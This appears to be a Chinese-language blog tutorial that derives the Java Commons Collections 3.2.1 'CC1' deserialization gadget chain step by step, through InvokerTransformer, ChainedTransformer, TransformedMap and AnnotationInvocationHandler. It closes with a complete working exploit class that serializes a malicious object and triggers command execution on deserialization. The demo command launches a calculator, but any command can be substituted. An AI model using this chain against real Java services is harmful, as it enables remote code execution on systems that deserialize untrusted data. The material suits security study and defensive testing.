java反序列化 CC1


java comon collections反序列化的第一条链 cc1

CC1

java反序列化CommonsCollections手写exp

CC1链,可以看白日梦组长大佬的视频,讲得很详细,多看几遍肯定能看懂

前置知识

众所周知(?),java的反序列化是建立在反序列化时自动执行readObject方法的,所以我们只需要找到能够执行恶意代码的方法,然后倒推回有readObject入口类的方法(前提当然是他们都是实现serializable的,如果没有,要用反射获取)

版本问题

java版本:jdk 8u65

Common Collections版本:3.2.1

这里的java版本8u65在oracle下载的时候发现是8u111…

无语,在这里用编程宝库的8u65下载即可

其他问题

调试问题

有些包内是没有源码的,我们能看到的是.class文件反编译后的结果,会导致我们调试的时候很难看,而且不能够直接查找

就比如

需要我们自己添加java源码来重新调试

这里从jdk: af660750b2f4 (openjdk.org)下载一个合适版本的源码

安装8u65之后安装目录下会有一个src.zip,将其解压

可以看到源码中是没有sun的,所以我们要在上面的openjdk.org中下载一个

将sun复制到src文件夹中

再在idea的project structure中添加sdk

其实,download source也可以直接下载下源码来查看

开搓CC1

CC1的入口类

CC1链的入口类是在一个Transformer当中

transform接受一个Object对象,然后对对象进行操作并且返回一个transform后的对象

跟进其实现类(ctrl+alt+b),可以详细地观察如何实现

例如ConstantTransformer

Transformer无论你传入的什么对象它都会返回一个iConstant常量

跟进该常量

可以知道iConstant是由其构造函数定义的

再例如ChainedTransformer

这个transformer会根据传入的iTransformer数组来进行链式反应:

相当于下一个transform的参数是上一个的值(前一个输出是后一个的输入),比如数组是1 2那他的返回就是2.transform(1)

我们的漏洞点在InvokerTransformer里:

很明显的看到他是反射调用传进来的object,然后获取其方法再invoke调用,iMethodName就是函数的名字,iParamTypes就是参数的类型,iArgs就是参数

往上看可以得知构造函数中这几个就是我们传入的值:

也就是说我们可以利用InvokerTransformer调用任意代码

一个简单的弹计算器方法:

1
Runtime.getRuntime().exec("calc");

我们将其修改成利用InvokerTransformer调用从而弹计算器,先修改成利用反射弹计算器:

1
2
3
4
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

我们可以看到InvokerTransformer调用的时候需要传入参数名、参数类型、参数值:

可以看到传入的参数类型和值都是数组类型,然后调用这个对象的方法

所以我们也这么传入:

1
new InvokerTransformer("exec",new Class[]{},new Object[]{}).transform(r);

第一个是方法名,肯定是我们的exec

第二个是参数类型,我们的参数类型是String,所以填入的是String.class

第三个参数就是我们的参数值,calc

所以我们是这么写的:

1
2
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这样便利用InvokerTransformer弹了计算器

往上找调用

继续往回找不同名方法调用transform,利用find usage查找。

Map类中的TransformedMap.java内调用了transform方法

可以看到这两个方法都调用到了key(value)Transformer.transform(object)

还有一个CheckSetValue也会调用valueTransformer.transform

这里锁定checkSetValue方法

其构造函数也是传入了一个Map,两个Transformer,但是是一个protected方法

往上找到decorate方法,decorate方法返回的就是这个东西

而且他是一个public static方法,所以我们可以直接通过类名调用这个decorate方法

尝试利用TransformedMap的decorate方法触发InvokerTransformer的transform方法

需要一个Map,这里利用hashMap

接下来寻找如何触发这个checkSetValue方法:

找到了一个AbstractInputCheckedMapDecorator.java中利用setValue调用了parent.checkValue(value),这个类还是这个TransformedMap父类

entry的意思是键值对()

比如map.put("key", "value");

此时如果要遍历的话可以写成Map.entry:map.entrySet()

也就是说其实这个setValue是一个map里面的方法,然后将其重写了

如果我们将这个decorate放进map,此时我们调用map的setValue方法就会调用到TransformedMap.setValue,再找回父类的setValue调用

然后调用到checkSetValue再到InvokerTransformer.transform

注意一下最后它是通过value调用transform方法,所以我们要将value设置成runtime.getRuntime()对象,而且这个hashMap必须是非空的:

此时相当于我们调用了

TransformedMap里面的setvalue,但是它调用到父类的setValue然后跟着去调用到了checkSetValue(r)再进入到了InvokerTransformer.transformer方法

成功弹出计算器

继续往回找符合Entry遍历并且调用setValue方法的方法,并且最好是回到入口的readObject

此时找到了AnnotationInvocationHandler内的readObject利用了该方法

跟进发现完全符合我们要求:

其中这个memberValues是我们可控的

看看其构造函数:

里一个Class类型,一个Map类型

其中Class类型是需要继承Annotation

Annotation其实就是我们平时经常写的那种@Override那样的注解

但是这个类有点不好的在于这个类并不是public class

所以我们还需要利用反射获取这个类:

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHConstructor.setAccessible(true);
Object o = AIHConstructor.newInstance(Override.class, transformedMap);

这里看似已经成功了

但是有3个问题:

  • 仔细想想就知道我们setValue的时候需要传入那个runtime对象,但是这里似乎是被限制了:
  • Runtime没有实现Serializable,所以我们还需要利用反射获取到runtime
  • readObject还需要满足两个if条件才能到setValue

反射获取runtime

接下来我们修改一下获得Runtime:

1
2
3
4
5
6
Class clz = Runtime.class;
Method getRuntimeM = clz.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeM.invoke(null, null);
Method execM = clz.getMethod("exec", String.class);

execM.invoke(r, "calc");

此时我们再利用invokerTransformer来执行这几个:

仔细想一下InvokerTransformer的transform方法

是通过传入的Object来获取其反射,然后根据传入的方法名、参数类型、参数来执行该方法(a.b(参数))

首先利用InvokerTransformer实现getRuntime

就是利用getMethod来实现的,所以我们去查看一下getMethod的参数类型:

一个String,一个Class数组

InvokerTransformer的Object数组填的是参数,这里其实就是getRuntime,getRuntime的参数是null

那就可以写出:

1
2
Method getRuntimeM = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

接下来实现invoke

理解这个transform(a)其实就是a. b(参数)的时候就很容易写了

invoke是一个Object,一个Object数组,而且我们的两个参数都是null

此时我们就获得了Runtime r

1
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeM);

接下来获取exec

1
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

至此,利用java反射获取runtime并且执行exec就完成了:

1
2
3
4
Method getRuntimeM = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeM);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

利用ChainedTransformer

可以看到这三行总是利用前一个的值作为后一个transform方法的参数

所以我们利用ChainedTransformer进行简化

查看ChainedTransformer的方法

只需要传入Object就可以了,这个Object就是我们方法的开始,也就是Runtime.class

简化后变成:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

补全并解决其他的问题

重新往下走,补全之前的TransformedMap:

发现其实还是不能够成功

这里debug一下,先看一下是不是没进到if

可以看到Map里面是key=>value

getKey之后是key

但是memberType里面却是null,导致我们进入不了if

往回看memberType是个什么东西:

是一个叫MemberTypesMap根据getKey之后获取的名字来获取到的结果

往回跟memberTypes

发现他是一个AnnotationType.getInstance(type)

也就是它会根据注解的类型来获取到它的成员变量/方法

我们写的注解是Override,看一下Override

Override是没有成员变量/方法的

所以我们改一下,改成有的:

比如Target就有一个

我们改成Target.class

此时还需要满足根据Map的key来查找它

所以将Map的key值改成value

再debug一下发现已经不是null了

然后进入到第二个if:

这个isInstance的意思就是判断对象是否是参数本身或者父类

也就是memberType是否是value本身或者父类

我们的value传的是aaa,所以肯定不是memberType的本身或者父类

直接进入到下面的setValue

跟进发现问题:

我们传入的Object是一个Proxy

也就是setValue那的一个不可控的东西,导致我们失败

此时该怎么办呢

办法是有的,那就是ConstantTransformer

ConstantTransformer无论传入什么返回的都是一个常量

我们可以利用它传入一个Proxy,返回的常量就是我们的Runtime.class

只需要在ChainedTransformer数组里的第一项添加即可

构造方法如上

很简单,只需要将Transformer数组修改成:

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

终于完成:

总结

这条链子通过

1
2
3
4
AnnotationInvocationHandler.readObject() -> AbstractInputCheckedMapDecorator.setValue() -> TransformedMap.checkSetValue() -> ChainedTransformer.transform(){
ConstantTransformer.transform()
InvokerTransformer.transform()
}

最终导致任意方法执行

与ysoserial有些不同,ysoserial的中间是利用了lazymap的

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class CC1Test {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHConstructor.setAccessible(true);
Object o = AIHConstructor.newInstance(Target.class, transformedMap);
Serialize(o);
UnSerialize();


}

private static void Serialize(Object obj) throws IOException {
File file = new File("ser.txt");
if(!file.exists()){
file.createNewFile();
}
FileOutputStream fo = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fo);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
private static void UnSerialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
objectInputStream.readObject();
objectInputStream.close();
}
}